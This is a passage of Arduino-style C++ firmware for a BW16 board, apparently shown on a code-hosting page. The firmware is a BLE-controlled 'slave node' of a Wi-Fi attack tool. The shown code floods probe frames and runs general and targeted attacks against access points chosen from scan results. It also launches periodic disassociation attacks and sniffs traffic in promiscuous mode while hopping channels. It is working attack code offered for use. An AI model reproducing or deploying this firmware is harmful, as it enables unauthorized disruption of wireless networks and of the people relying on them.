wifi_tx_probe_frame(clientMAC, broadcast, commonSSIDs[i]);
|
||||
delay(50);
|
||||
}
|
||||
}
|
||||
|
||||
sendNotification("Probe flood stopped", false);
|
||||
}
|
||||
|
||||
// Parse target indices from command
|
||||
void parseTargets(const String& targets_str) {
|
||||
target_aps.clear();
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
|
||||
while ((end = targets_str.indexOf(',', start)) != -1) {
|
||||
String index_str = targets_str.substring(start, end);
|
||||
int target_index = index_str.toInt();
|
||||
if (target_index >= 0 && target_index < scan_results.size()) {
|
||||
target_aps.push_back(scan_results[target_index]);
|
||||
}
|
||||
start = end + 1;
|
||||
}
|
||||
|
||||
// Handle last index
|
||||
String index_str = targets_str.substring(start);
|
||||
int target_index = index_str.toInt();
|
||||
if (target_index >= 0 && target_index < scan_results.size()) {
|
||||
target_aps.push_back(scan_results[target_index]);
|
||||
}
|
||||
|
||||
target_mode = !target_aps.empty();
|
||||
|
||||
char msg[64];
|
||||
snprintf(msg, sizeof(msg), "Targets set: %d APs selected", target_aps.size());
|
||||
sendNotification(msg, false);
|
||||
}
|
||||
|
||||
//==========================
|
||||
// Setup & Loop
|
||||
//==========================
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
sendNotification("Slave Node Initializing...", false);
|
||||
|
||||
// Setup BLE
|
||||
cmdChar = new BLECharacteristic(CMD_CHAR_UUID);
|
||||
detectChar = new BLECharacteristic(NOTIFY_CHAR_UUID); // Use NOTIFY_CHAR_UUID
|
||||
|
||||
cmdChar->setWriteProperty(true);
|
||||
cmdChar->setWritePermissions(GATT_PERM_WRITE);
|
||||
cmdChar->setWriteCallback(onCommandWrite);
|
||||
|
||||
detectChar->setNotifyProperty(true);
|
||||
detectChar->setCCCDCallback(onDetectCCCDChanged);
|
||||
detectChar->addDescriptor(new BLE2902()); // Attach CCCD descriptor
|
||||
|
||||
customService.addCharacteristic(*cmdChar);
|
||||
customService.addCharacteristic(*detectChar);
|
||||
|
||||
BLE.init();
|
||||
uint8_t mac[6];
|
||||
wifi_get_mac_address((char*)mac);
|
||||
char nameBuf[16];
|
||||
snprintf(nameBuf, sizeof(nameBuf), "BW16-SL%02X", mac[5]);
|
||||
|
||||
BLEAdvertData advData;
|
||||
advData.addCompleteName(nameBuf); // Unique advertising name
|
||||
advData.addCompleteServices(BLEUUID(SERVICE_UUID));
|
||||
BLE.configAdvert()->setAdvData(advData);
|
||||
BLE.configServer(1);
|
||||
BLE.addService(customService);
|
||||
BLE.beginPeripheral();
|
||||
sendNotification("BLE Slave started, advertising...", false);
|
||||
|
||||
// Initialize WiFi but keep it idle
|
||||
wifi_on(RTW_MODE_PROMISC);
|
||||
wifi_enter_promisc_mode();
|
||||
wifi_set_promisc(RTW_PROMISC_DISABLE, NULL, 0);
|
||||
sendNotification("WiFi initialized in standby promiscuous mode.", false);
|
||||
}
|
||||
|
||||
void loop() {
|
||||
processNotifications(); // Handle sending buffered notifications
|
||||
|
||||
if (attack_enabled && (millis() - last_cycle > cycle_delay)) {
|
||||
if (target_mode) {
|
||||
targetAttack();
|
||||
} else {
|
||||
generalAttack();
|
||||
}
|
||||
last_cycle = millis();
|
||||
}
|
||||
|
||||
if (disassoc_enabled && (millis() - last_disassoc_attack > disassoc_interval)) {
|
||||
disassocAttack();
|
||||
last_disassoc_attack = millis();
|
||||
}
|
||||
|
||||
if (isSniffing && isHopping && (millis() - lastHopTime > HOP_INTERVAL)) {
|
||||
lastHopTime = millis();
|
||||
currentChannelIndex = (currentChannelIndex + 1) % (sizeof(CHANNELS_2GHZ) / sizeof(int));
|
||||
currentChannel = CHANNELS_2GHZ[currentChannelIndex];
|
||||
setChannel(currentChannel);
|
||||
}
|
||||
|
||||
// Send periodic health reports
|
||||
sendHealthReport();
|
||||
|
||||
// Memory monitoring and error handling
|
||||
if (rtl_getFreeHeapSize() < 10000) { // Less than 10KB free
|
||||
handleError("MEMORY_LOW", "Low memory detected");
|
||||
}
|
||||
|
||||
// The rest of the logic is event-driven via BLE commands
|
||||
delay(50);
|
||||
}
|
||||
#endif // ROLE_MASTER
|
||||
|
||||
//==========================
|
||||
// Utility Implementations
|
||||
//==========================
|
||||
void sortByChannel(std::vector<WiFiScanResult> &results) {
|
||||
for (size_t i = 0; i < results.size(); i++) {
|
||||
for (size_t j = i + 1; j < results.size(); j++) {
|
||||
if (results[j].channel < results[i].channel) {
|
||||
WiFiScanResult temp = results[i];
|
||||
results[i] = results[j];
|
||||
results[j] = temp;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
rtw_result_t scanResultHandler(rtw_scan_handler_result_t *scan_result) {
|
||||
if (scan_result->scan_complete == 0) {
|
||||
rtw_scan_result_t *record = &scan_result->ap_details;
|
||||
record->SSID.val[record->SSID.len] = 0;
|
||||
if (record->channel >= start_channel) {
|
||||
WiFiScanResult result;
|
||||
result.ssid = String((const char*) record->SSID.val);
|
||||
result.channel = record->channel;
|
||||
result.rssi = record->signal_strength;
|
||||
memcpy(&result.bssid, &record->BSSID, 6);
|
||||
char bssid_str[20];
|
||||
snprintf(bssid_str, sizeof(bssid_str), "%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
result.bssid[0], result.bssid[1], result.bssid[2],
|
||||
result.bssid[3], result.bssid[4], result.bssid[5]);
|
||||
result.bssid_str = bssid_str;
|
||||
scan_results.push_back(result);
|
||||
}
|
||||
}
|
||||
return RTW_SUCCESS;
|
||||
}
|
||||
Reference in New Issue
Block a user